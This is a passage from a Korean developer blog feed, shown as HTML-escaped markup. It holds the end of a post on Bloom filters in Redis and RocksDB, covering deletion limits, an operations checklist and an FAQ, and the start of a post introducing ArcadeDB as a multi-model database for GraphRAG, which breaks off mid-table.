&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; maybeExists &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;redis&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;BF.EXISTS&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;seen:users&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; userId&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;maybeExists&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 확실히 없음: DB 조회 생략&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; database&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;users&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;findById&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;userId&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// MAYBE: 실제 저장소 확인&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;예상 용량을 넘을 수 있다면 Redis의 확장 가능한 필터가 하위 필터를 추가할 수 있지만, 필터 수와 메모리·조회 비용도 함께 늘어납니다. 용량 추정과 관찰을 생략해도 된다는 뜻은 아닙니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;RocksDB에서는 어디에 효과가 있을까&lt;/h2&gt;
&lt;p&gt;RocksDB는 SST 파일을 실제로 읽기 전에 “이 파일에 키가 없다는 것을 알 수 있는가?”를 판단하는 데 블룸 필터를 활용합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;GET user:42
  ↓
Bloom Filter: 이 SST에는 확실히 없음
  ↓
파일 읽기 생략&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 방식은 특정 키를 찾는 &lt;strong&gt;point lookup&lt;/strong&gt;에서 효과가 큽니다. 반면 범위를 순서대로 읽는 range scan은 많은 키를 실제로 순회해야 하므로 같은 이점을 기대하기 어렵습니다. RocksDB 문서도 블룸 필터를 point lookup 중심의 튜닝 항목으로 설명합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 일반 블룸 필터는 삭제가 어려울까&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;banana&lt;/code&gt;를 삭제하면서 6번 비트를 0으로 바꾸면 어떻게 될까요? 6번은 &lt;code class=&quot;language-text&quot;&gt;apple&lt;/code&gt;도 사용하고 있었습니다. 그러면 실제로 존재하는 &lt;code class=&quot;language-text&quot;&gt;apple&lt;/code&gt; 조회가 0을 만나 False Negative가 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;apple  → bit 6 사용
banana → bit 6 사용

banana 삭제 → bit 6을 0으로 변경
apple 조회  → 잘못된 NOT FOUND&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;삭제가 필요하다면 선택지는 다음과 같습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Counting Bloom Filter&lt;/strong&gt;: 비트 대신 작은 카운터를 사용&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cuckoo Filter&lt;/strong&gt;: 항목의 fingerprint를 bucket에 저장해 삭제 지원&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;세대 교체&lt;/strong&gt;: 일정 주기로 새 필터를 만들어 원본에서 재구축&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;카운터와 fingerprint는 삭제를 가능하게 하지만 메모리와 구현 복잡도가 늘어납니다. 삭제 요구가 없다면 표준 블룸 필터가 더 단순합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실무 적용 체크리스트&lt;/h2&gt;
&lt;h3&gt;1. 원본 저장소를 진실의 원천으로 둔다&lt;/h3&gt;
&lt;p&gt;블룸 필터의 &lt;code class=&quot;language-text&quot;&gt;MAYBE&lt;/code&gt;를 실제 존재로 취급하면 안 됩니다. 캐시, 권한, 결제처럼 정확성이 필요한 판단은 반드시 원본에서 확인합니다.&lt;/p&gt;
&lt;h3&gt;2. 필터 갱신 순서를 설계한다&lt;/h3&gt;
&lt;p&gt;원본 저장은 실패했는데 필터만 갱신되면 False Positive가 늘어나는 것으로 끝날 수 있습니다. 반대로 원본은 저장됐는데 필터 갱신이 빠지면 False Negative 성격의 운영 장애가 생깁니다. 재시도, 이벤트 기반 동기화, 재구축 절차를 마련해야 합니다.&lt;/p&gt;
&lt;h3&gt;3. 실제 False Positive 비율을 측정한다&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;observed_fpr = Bloom이 MAYBE였지만 원본에는 없던 건수
               / Bloom이 MAYBE였던 전체 건수&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;목표보다 높아지면 용량 초과, 잘못된 파라미터, 키 분포·해시 품질을 확인합니다.&lt;/p&gt;
&lt;h3&gt;4. 비트 점유율과 삽입 개수를 관찰한다&lt;/h3&gt;
&lt;p&gt;점유율이 계속 올라가면 오탐도 증가합니다. 현재 필터가 설계한 용량에 근접했는지 대시보드와 알림으로 확인해야 합니다.&lt;/p&gt;
&lt;h3&gt;5. 복구 가능하게 만든다&lt;/h3&gt;
&lt;p&gt;블룸 필터는 원본 데이터에서 다시 만들 수 있는 파생 자료구조로 운영하는 편이 안전합니다. 필터 손상이나 버전 변경 시 원본에서 재구축할 수 있어야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;언제 사용하고 언제 피할까&lt;/h2&gt;
&lt;p&gt;잘 맞는 경우:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;존재하지 않는 키 조회가 많고 원본 조회 비용이 비쌀 때&lt;/li&gt;
&lt;li&gt;URL 중복 검사, 크롤링 방문 여부, 캐시 관통 방지&lt;/li&gt;
&lt;li&gt;LSM 기반 저장소의 불필요한 파일 읽기 감소&lt;/li&gt;
&lt;li&gt;약간의 False Positive는 허용되지만 False Negative는 허용하기 어려울 때&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;피해야 하는 경우:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;정확한 존재 여부를 필터 하나로 끝내야 할 때&lt;/li&gt;
&lt;li&gt;항목 삭제가 빈번한데 표준 블룸 필터만 사용하려 할 때&lt;/li&gt;
&lt;li&gt;데이터가 작아 정확한 Set을 메모리에 보관해도 충분할 때&lt;/li&gt;
&lt;li&gt;범위 검색이나 정렬 결과가 필요한 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;블룸 필터의 가치는 “있다”를 맞히는 데 있지 않습니다. &lt;strong&gt;“없다”를 아주 작은 메모리로 빠르게 확정해 비싼 조회를 없애는 것&lt;/strong&gt;에 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;하나라도 0 → DEFINITELY NOT → 조회 생략
모두 1     → MAYBE EXISTS   → 원본 확인&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;그리고 실전에서는 자료구조의 이름보다 세 가지가 더 중요합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;예상 삽입 개수&lt;/li&gt;
&lt;li&gt;허용할 False Positive 비율&lt;/li&gt;
&lt;li&gt;원본과 필터를 다시 맞추는 운영 절차&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;블룸 필터를 확률적 캐시처럼 막연하게 두지 않고, &lt;strong&gt;측정 가능한 사전 필터&lt;/strong&gt;로 다뤄야 효과를 얻을 수 있습니다.&lt;/p&gt;
&lt;h2&gt;자주 묻는 질문&lt;/h2&gt;
&lt;h3&gt;블룸 필터와 HashSet은 무엇이 다른가요?&lt;/h3&gt;
&lt;p&gt;HashSet은 원본 키 또는 키를 구분할 충분한 정보를 보관해 정확한 존재 여부와 일반적인 삭제를 지원합니다. 블룸 필터는 비트 배열만 보관해 훨씬 작지만, &lt;code class=&quot;language-text&quot;&gt;MAYBE&lt;/code&gt; 판정과 False Positive를 허용합니다. 데이터가 작고 정확한 판정이 필요하면 Set이 더 단순합니다.&lt;/p&gt;
&lt;h3&gt;정말 False Negative는 없나요?&lt;/h3&gt;
&lt;p&gt;표준 블룸 필터가 정상적으로 삽입되고 비트가 임의로 지워지지 않았다는 조건에서는 없습니다. 삽입한 키의 해시 위치는 모두 1이기 때문입니다. 원본 저장과 필터 갱신이 어긋나거나 공유 비트를 잘못 삭제하면 운영상 False Negative가 생길 수 있으므로 동기화 절차는 별도로 보장해야 합니다.&lt;/p&gt;
&lt;h3&gt;항목을 삭제하려면 어떻게 해야 하나요?&lt;/h3&gt;
&lt;p&gt;공유 비트를 바로 0으로 만들면 다른 키까지 사라진 것으로 판정할 수 있습니다. 삭제가 필요하면 Counting Bloom Filter, Cuckoo Filter, 세대별 필터 교체 중 요구사항에 맞는 방식을 선택합니다.&lt;/p&gt;
&lt;h3&gt;목표 False Positive 비율은 얼마나 낮춰야 하나요?&lt;/h3&gt;
&lt;p&gt;무조건 가장 낮게 잡지 않습니다. False Positive 한 건이 만드는 원본 조회 비용, 예상 키 수, 메모리 예산, 해시 계산량을 함께 측정해 정합니다. 설정한 목표와 실제 관측 오탐률을 비교하는 운영 지표도 필요합니다.&lt;/p&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cs.princeton.edu/courses/archive/spr05/cos598E/bib/p422-bloom.pdf&quot;&gt;Burton H. Bloom, Space/Time Trade-offs in Hash Coding with Allowable Errors&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://redis.io/docs/latest/develop/data-types/probabilistic/bloom-filter/&quot;&gt;Redis Bloom Filter 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://redis.io/docs/latest/operate/oss_and_stack/stack-with-enterprise/bloom/&quot;&gt;Redis 확률적 자료구조와 Bloom Filter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/facebook/rocksdb/wiki/Setup-Options-and-Basic-Tuning&quot;&gt;RocksDB Setup Options and Basic Tuning&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[ArcadeDB란? 벡터 검색과 그래프 탐색을 한 DB에서]]></title><description><![CDATA[안녕하세요. 자바파커입니다.  먼저 영상으로 동기화 문제와 멀티모델 흐름을 확인한 뒤, 아래에서 스키마와 쿼리를 따라가도 좋습니다. GraphRAG를 만들다 보면 데이터베이스가 하나씩 늘어납니다. 원문과 메타데이터는 Document DB…]]></description><link>https://blog.javapark.kr/arcadedb-multimodel-graphrag/</link><guid isPermaLink="false">https://blog.javapark.kr/arcadedb-multimodel-graphrag/</guid><pubDate>Wed, 02 Sep 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/c2a56ef239718403a73e4aa3ab65950d/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACHUlEQVR42kWR22vTUBzHA2vOLW3SNDlJziW3LpcmbezWzm5Undo5ZA8OQcELE0QfRH0RHWofRAbuQcQnwb/Xk00RPvyezuf8Ll+tg2zoCBzECsJTOOC64YIuBT0PmL5C71Hd9GGfQZvBgfiPIzQd2R1PojjHSQHTAlAJlPzPBFZg+bnhxkC99iIYxDBIoB8Bh4MB1wBxitF2lNSOl6RZ48t8gzjw0mxlRqOJyTIoN0k9tXb2zK0dMmpIPtap1NSQ79dnH9ZnJy/ffvvx6+HTF7rpwX4ArUC11S1mB0WPZSgtu9Od/mJpzXaVaZRXgEy1Tpcurh9+/nJ+8vz10fGj7z9/33/wTNMwGgjQZwqDpoRt4nJiVFOaTYnMQVzCdATCoQbdsHnzqnr8ZPHpdPv03XL98dr5V358D9pcHQnYwpFjSxS4mhj1llfOgB+T3Zt4MgciVnLkLW448yW7dcj2D/z9lbhzFMyX7T1tDmze50VX5KiocdmQqCRRQZIKRaUuEw2xYTrdr/buZrPV5ux2MV+V8wOaNohGF37b2eRtECgb4aImVYPzCsbZBuVKznBY4rj6S1gitZWfIBqrjdrY1fADDlRIMsXZyKgalFcgTDcGvobCAsU1SsYoqVE0QhcyFhkKhqo5cCRwRJuqK4AfAl/qVHRc1nECVTUUV71yZtVX21rOzXzLyqZY/ciG0I+BK1vNFXoLv6RDWYsb/AH1HE48T4c8AQAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/c2a56ef239718403a73e4aa3ab65950d/a1b3b/thumbnail.webp 215w,
/static/c2a56ef239718403a73e4aa3ab65950d/fc700/thumbnail.webp 430w,
/static/c2a56ef239718403a73e4aa3ab65950d/521f7/thumbnail.webp 860w,
/static/c2a56ef239718403a73e4aa3ab65950d/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/c2a56ef239718403a73e4aa3ab65950d/f7886/thumbnail.png 215w,
/static/c2a56ef239718403a73e4aa3ab65950d/bc750/thumbnail.png 430w,
/static/c2a56ef239718403a73e4aa3ab65950d/3e3fe/thumbnail.png 860w,
/static/c2a56ef239718403a73e4aa3ab65950d/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/c2a56ef239718403a73e4aa3ab65950d/3e3fe/thumbnail.png&apos; alt=&apos;문서 DB와 그래프 DB와 벡터 DB로 흩어진 데이터를 하나의 멀티모델 엔진으로 합치는 ArcadeDB&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;문서 DB와 그래프 DB와 벡터 DB로 흩어진 데이터를 하나의 멀티모델 엔진으로 합치는 ArcadeDB&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요. &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://youtube.com/shorts/U4CDxgD-W9g&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 177.67441860465118%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAkCAIAAAAGkY33AAAACXBIWXMAAAAAAAAAAAHqZRakAAAEoUlEQVR42sVVW2/bNhRWakkkdbF1s2XrSomSJSt2YsdpnG5OkyZtkLXYpUBv69C1wzDs8joM2ON++g4pJWm6Pe1lwGeaIvid8x3q8JMkE/s/Q/pfyYrmKLr7Cf5lN2zTHJk4dzMja0c276n9ntrfUUw+V0yF2KrY3YHvtnp40MPWLfketuzFqvziWXRyFj18RC8ui6un8el5z5nsyMYOhOMwe/2R4US2n+l2cMOXQEx8sKnOnxQnZ8X2rD6/3L18SrenQzbzImaNU3tCLT+1g9wLGLEmquHdZu674bdvfzw9vXr1+v2Ll+9ev/nw4YffLp58+fzlu9///Ov5q++/evHd2/c/w+Ozb94YXiiBct3tdZl1Z+DH5jBClg/AzoS4gekn+jAy/Zi4E7nv9f1EcwNkj5WBL5tez3B7utPTHAn+7gHMoTIYAWRrJNt8VGy/heqMe+06YCDQH/EQuivJnOa3zHar6kxUFxCobiggHmHRGcOGLgTw+0OJ/3HaqKUpLiBUvH8AFnm4NkTHl+TBkCeEejgzgH3qMFJHMYefCMAEViLFi7oQsBMkDIZSKxXFOWG1VsxIUeO8IjmMtUpLAKJTnFUcdKqOU6Gi40tchheSaWMdHHnHW2u9QfkMsRlmjV2t7emhnjVaNrXKucEaFDPQpQAEX+JqRzHKK6M+8JZbc/dI29sYq+PJ4eXm7KcHj36t718GizLcrXRaoKQUFUVtfonH8BMMglljFHNS7OLpglQLs1pFe+fx/mO3Ouiz6YBVJC25cj/lpzDkfEn1QjRJeZ3zdf/rt7hZgjaoEyCnrBfnSlI6xf0BXeK0ItlUDShUDkcI4iWIgQIKZH194v3yh3nyWJ+vtXqJaKWVC31+qO+uk4sX43pL0hnJpzik6oTytzCKJAiAJpSUc226NhdbvT6Egs2jrVmuzNUDmBhsP7h/NSw/I3GNWY2jDLXJOXkEmTNSNFxqWmBaqVnVXx776wt3/VBlNWFzfXWsNQcka+B14jhDYSbIsQQ/FOZABg7Kao58BhVm9eWk+BynNT+8zYmxv8G35FY5kP0URQUn80MC/gyg04XF1v18CQQ1ZmRvjfMGRVMC7/8OeUxxXAjZFSnmLVnNZkpWKXC2eYXiQl8dkWKBohLfkDvZQE74qsbmg3JDij01BQnQm4AKwTwuzcNjvdlHYcHblh9YpnTkCUU889xkh0790GBCIROASdaAcnOx0mf7mM7gPd99VUAOc2gAkx0M6gcGW5Jyl0wBcz7CvGj0+b5eL0hegWbRJLxg3iTKmKIgRxHjTR/lCHqQy+7AK0pKBOugNro5qqRt71syHBv0/Q1wej1JChznOKLqLVP0Nr8YH5HvIGEcfJ53Cce08wZxK8SV9KkK5JBx5W1+GKPuka8HeZfQj2/8pLU0aM9UbZN/gjAXtIwnbO/wsL3GYetk4IRwMaCGFMTDPj6OqSIgRFJ+e0eReku7NjDhoZLwSjj3hEfhFz29VpiIxc40Ot8EfOTekmwL0+QhhLCRQGtUQ+G4kEo49sc0MG3Z8MB6QQMoCRQn6KIIf+WAFbBki38SrjnXnwv44mjO3zLjwPBQULsrAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/83fea2ecf281430aa9a2109a57fbb09c/a1b3b/video-thumb.webp 215w,
/static/83fea2ecf281430aa9a2109a57fbb09c/fc700/video-thumb.webp 430w,
/static/83fea2ecf281430aa9a2109a57fbb09c/521f7/video-thumb.webp 860w,
/static/83fea2ecf281430aa9a2109a57fbb09c/5c666/video-thumb.webp 1080w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/83fea2ecf281430aa9a2109a57fbb09c/f7886/video-thumb.png 215w,
/static/83fea2ecf281430aa9a2109a57fbb09c/bc750/video-thumb.png 430w,
/static/83fea2ecf281430aa9a2109a57fbb09c/3e3fe/video-thumb.png 860w,
/static/83fea2ecf281430aa9a2109a57fbb09c/b4ad3/video-thumb.png 1080w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/83fea2ecf281430aa9a2109a57fbb09c/3e3fe/video-thumb.png&apos; alt=&apos;ArcadeDB 멀티모델 GraphRAG를 58초로 시각화한 영상&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;ArcadeDB 멀티모델 GraphRAG를 58초로 시각화한 영상&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;먼저 영상으로 동기화 문제와 멀티모델 흐름을 확인한 뒤, 아래에서 스키마와 쿼리를 따라가도 좋습니다.&lt;/p&gt;
&lt;p&gt;GraphRAG를 만들다 보면 데이터베이스가 하나씩 늘어납니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;원문과 메타데이터는 Document DB&lt;/li&gt;
&lt;li&gt;임베딩은 Vector DB&lt;/li&gt;
&lt;li&gt;엔티티 관계는 Graph DB&lt;/li&gt;
&lt;li&gt;키워드 검색은 Search Engine&lt;/li&gt;
&lt;li&gt;원본 시스템은 RDBMS&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;각 도구는 자기 역할을 잘합니다. 문제는 &lt;strong&gt;같은 Chunk가 여러 시스템에 복사된다는 것&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;원문을 수정했는데 벡터 인덱스는 예전 내용이고, 엔티티를 지웠는데 그래프에는 간선이 남을 수 있습니다. 이를 막으려고 ETL, CDC, 메시지 큐와 재처리 파이프라인을 붙이면 검색 시스템보다 동기화 시스템이 더 복잡해집니다.&lt;/p&gt;
&lt;p&gt;ArcadeDB가 제안하는 방향은 다릅니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;데이터를 여러 DB에 복사하지 말고, 같은 데이터가 문서·그래프·벡터·전문 검색 모델에 동시에 참여하게 합니다.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;ArcadeDB는 그래프를 중심으로 문서, Key-Value, 전문 검색, 벡터, 시계열을 한 엔진에서 다루는 오픈소스 멀티모델 DBMS입니다. 모든 모델이 같은 저장 계층, 트랜잭션 관리자와 쿼리 인프라를 공유합니다.&lt;/p&gt;
&lt;p&gt;이번 글에서는 제품 기능 목록보다 다음 질문에 집중합니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;멀티모델 DB가 실제로 무엇을 줄여 주는가&lt;/li&gt;
&lt;li&gt;같은 Chunk를 벡터와 그래프로 어떻게 조회하는가&lt;/li&gt;
&lt;li&gt;GraphRAG를 어떤 스키마와 쿼리로 시작하는가&lt;/li&gt;
&lt;li&gt;ArcadeDB를 선택하면 안 되는 경우는 언제인가&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;ArcadeDB란?&lt;/h2&gt;
&lt;p&gt;ArcadeDB는 &lt;a href=&quot;https://orientdb.org/&quot;&gt;OrientDB&lt;/a&gt;에서 개념적으로 갈라져 나온 네이티브 멀티모델 데이터베이스입니다. 공식 문서가 설명하는 모델은 다음 여섯 가지입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;모델&lt;/th&gt;
&lt;th&gt;대표 용도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Graph&lt;/td&gt;
&lt;td&gt;엔티티 관계, 다단계 탐색, 추천, 사기 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Document&lt;/td&gt;
&lt;td&gt;Chunk 본문, 메타데이터, 유연한 속성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Key-Value&lt;/td&gt;
&lt;td&gt;키 기반 직접 접근&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Full-Text&lt;/td&gt;
&lt;td&gt;토큰·어간·퍼지 키워드 검색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vector&lt;/td&gt;
&lt;td&gt;임베딩 유사도 검색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Time-Series&lt;/td&gt;
&lt;td&gt;이벤트와 지표의 시간 축 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;여기서 중요한 것은 “기능이 여섯 개다”가 아닙니다.&lt;/p&gt;
&lt;h3&gt;하나의 레코드, 여러 모델&lt;/h3&gt;
&lt;p&gt;GraphRAG의 &lt;code class=&quot;language-text&quot;&gt;Chunk&lt;/code&gt;를 예로 들어 보겠습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Chunk
├─ content: 문서 본문                ← Document
├─ source, page, section: 메타데이터 ← Document
├─ embedding: [0.12, ...]            ← Vector
├─ tokens, weights                   ← Sparse Vector / Search
└─ MENTIONS → Entity                 ← Graph&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Chunk&lt;/code&gt;는 문서 속성을 가진 그래프 정점입니다. 여기에 임베딩을 저장하고 벡터 인덱스를 만들 수 있습니다. 같은 정점에서 &lt;code class=&quot;language-text&quot;&gt;MENTIONS&lt;/code&gt; 간선을 따라 엔티티로 이동할 수도 있습니다.&lt;/p&gt;
&lt;p&gt;즉, 벡터 DB의 레코드 ID와 그래프 DB의 노드 ID를 별도로 매핑할 필요가 없습니다.&lt;/p&gt;
&lt;h3&gt;하나의 트랜잭션&lt;/h3&gt;
&lt;p&gt;원문 Chunk를 만들고 엔티티 간선을 연결하고 임베딩을 인덱싱하는 작업이 같은 트랜잭션에 참여합니다.&lt;/p&gt;
&lt;p&gt;여러 DB를 사용할 때는 이런 순서가 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Document 저장 성공
→ Vector 저장 성공
→ Graph 저장 실패
→ 보상 처리 또는 재시도 필요&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;멀티모델 엔진에서는 한 트랜잭션으로 묶을 수 있으므로 중간 상태를 줄일 수 있습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;멀티모델의 핵심 가치는 쿼리 언어 개수가 아니라 &lt;strong&gt;모델 사이의 동기화 경계가 사라지는 것&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Polyglot Persistence와 비교하기&lt;/h2&gt;
&lt;p&gt;여러 전문 데이터베이스를 조합하는 방식을 Polyglot Persistence라고 부릅니다. 잘못된 방식은 아닙니다. 각 워크로드에 가장 강한 제품을 선택할 수 있기 때문입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구분&lt;/th&gt;
&lt;th&gt;여러 전문 DB&lt;/th&gt;
&lt;th&gt;ArcadeDB 멀티모델&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;모델별 전문 기능&lt;/td&gt;
&lt;td&gt;각 제품의 강점을 최대한 사용&lt;/td&gt;
&lt;td&gt;한 엔진이 지원하는 범위 안에서 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;데이터 동기화&lt;/td&gt;
&lt;td&gt;CDC·ETL·이벤트 파이프라인 필요&lt;/td&gt;
&lt;td&gt;같은 레코드와 트랜잭션 공유&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;장애 지점&lt;/td&gt;
